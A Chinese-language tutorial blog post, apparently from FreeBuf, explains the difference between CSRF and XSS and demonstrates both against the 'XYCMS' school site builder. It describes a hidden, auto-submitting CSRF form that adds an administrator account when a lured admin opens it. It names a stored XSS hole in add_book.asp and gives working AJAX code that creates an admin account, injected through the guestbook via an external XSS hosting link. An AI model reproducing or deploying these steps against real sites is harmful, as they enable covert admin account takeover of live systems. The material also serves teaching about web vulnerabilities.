CSRF和XSS的工作原理

XSS

攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击

CSRF

攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击

XSS容易发现,因为攻击者需要登录后台完成攻击。管理员可以看日志发现攻击者

而CSRF则不同,他的攻击一直是管理员自己实现的,攻击者只负责了构造代码。


我这只是简单的说明下流程。大伙应该发现CSRF少了一个 获取受害人的cookie的步骤。为什么会少了呢。因为受害人在执行代码的时候就已经完成的攻击,而攻击者并没有参与进来

举个例子来说吧(受害者的网址是a.cn,攻击者的网址是b.cn)

  1. 攻击者想要在某个网站(网站是某个开源CMS)添加上另一个管理员,但是这个网站并没有XSS漏洞。怎么办呢?

  2. 这时攻击者发现了这个开源CMS后台添加管理员时并没有加入验证码或则token,只需要输入要添加的管理员账号和密码点击确定就可以添加管理员账户了。

  3. 这时和我一样聪明的攻击者在自己的服务器上建立了一个html文件(假设地址是b.cn/index.html)。

  4. 然后就给网站管理员发邮件等等,诱使管理员打开b.cn/index.html。当管理员打开后(这时管理员正在网站后台,或则管理员的session并没有失效的话),就可以神不知鬼不觉的在网站后台添加了一个管理员账户。

相信这时大伙已经明白CSRF和XSS的区别了,不是太明白也没事,下面还有。

这里我选择了“XYCMS中心小学建站系统”

OK,我们进入后台a.cn:88/admin,账号密码默认都是admin。进入后台,我们选择“管理员管理”

我想细心的人已经发现了。他只要求你输入账号 密码 确认密码。没有发现验证码验证。我们在浏览器里代理下8008端口(虽然网站是88端口,但是还是可以监听到数据,所以不必在意网站是88,软件监听的是8008的问题。因为在浏览器里任何数据都必须要经过8008,网站虽说是88端口,但是数据还要转到8008端口)。然后用软件看下有没有token的存在(你也可以用burp、fiddler等等)。

我们在网站里输入账号和密码。

点击提交数据后,软件就会抓到数据包了。

第五个需要点击才能触发(当然可以修改为自动触发),还有一个是他也只能发送GET请求。

Ok,我这时选择forms选项,他会生成一个HTML文件,而且会自动打开,如果不成功不要灰心,这个软件不是特别的完整,有些地方需要改进。不成功的话就打开HTML改下源码,参照浏览器的审查元素就行。

点击Generate HTML来生成,生成好后,把生成的index.html放到b.cn下。诱使管理员打开,管理员打开后,将会是这样:

成功了,我们在后台看下。 可以看到成功添加了。

我们可以把这个index.html放到自己服务器上,又是管理员打开,然后了管理员当时正在后台,或则管理员的session没有过期,你可以在网站留言板里吧网址写上去。就可以完成CSRF攻击了。


这里我不用上面这个软件,再完成一次攻击

我想入侵一个网站,得知这个网站使用的是XYCMS,于是我在网上把XYCMS源码下载下来,分析下。我发现在后台添加管理员的地方没有token验证,于是我就走上了构造带代码一路。

F12看下添加管理员的链接是什么

打开此链接就是添加管理员的地方。

Ctrl+U 看下源代码,把form标签里的内容全部复制下来,放到本地的html文件里。去掉没用的代码。就像下面这样:

OK,现在我们来改下,把action改成目标网站(a.cn),然后在input类型为text的地方,加上Value的值,这个值就是你要添加的管理员账号和密码,改后为:

我们打开测试下,看能不能添加管理员

点击“提交数据”

添加成功了,剩下的就是自动提交了,这里就要用到JavaScript了。

打开后,自动添加了。接下来就是让表单隐藏,我们加个style让form为隐藏就行了。像下面这样:

一个csrf网页就完成了,上传到b.cn,诱使管理员打开就行了。


进阶

相信细心的人已经发现上面是一个1.html文件,需要诱使管理员打开,而且他还有弹窗。太被动了,想用ajax来发送吧,又需要跨域。怎么办呢?这里我们可以结合XSS来完成攻击。

在之前XSS系列我说过一句话“XSS就是让对方执行你的JS代码”,聪明的人已经想到了,那就是把CSRF的AJAX请求放到XSS里,以达到攻击的效果,具体怎么做到呢,看完这一节,你就会了。

首先你要挖到一个XSS漏洞(反射、储蓄都行,当然储蓄更好。因为这个CMS特别小众,几乎没人用,所以在前年挖到这个漏洞时,就一直放那没动过)。找到一个储蓄型XSS,在根目录的add_book.asp文件里。

rs("title")=trim(request.form("title"))
rs("sh")=request.form("sh")
rs("ly_name")=trim(request.form("ly_name"))
rs("tel")=trim(request.form("tel"))
rs("email")=trim(request.form("email"))
rs("body")=trim(request.form("body"))

title留言标题 ly_name姓名 tel联系电话 email联系邮箱 body留言内容存在XSS(不想吐槽了)

OK,因为上一节已经说了添加管理员无认证的漏洞了,我也就不多说了。

提交的时候抓包下,然后根据数据包来写ajax代码(之所以没用那个软件来生成,是让大家更加深刻,同时也不要太依赖软件)

下面就是我自己写的一个ajax:

var xmlhttp;
if(window.XMLHttpRequest){
  xmlhttp=new XMLHttpRequest();
  }else{
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.open("POST","/admin/admin_manage.asp?act=add",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("admin=123&password=admin&password3=admin&button=提交数据");

生成好后,得到地址http://xss8.pw/0IrU5I?1420780331

OK,我们去留言板上插吧。

之所以没用全插,是因为这样做的话,管理员一打开就会多插几个账号。


参考: http://www.freebuf.com/articles/web/55965.html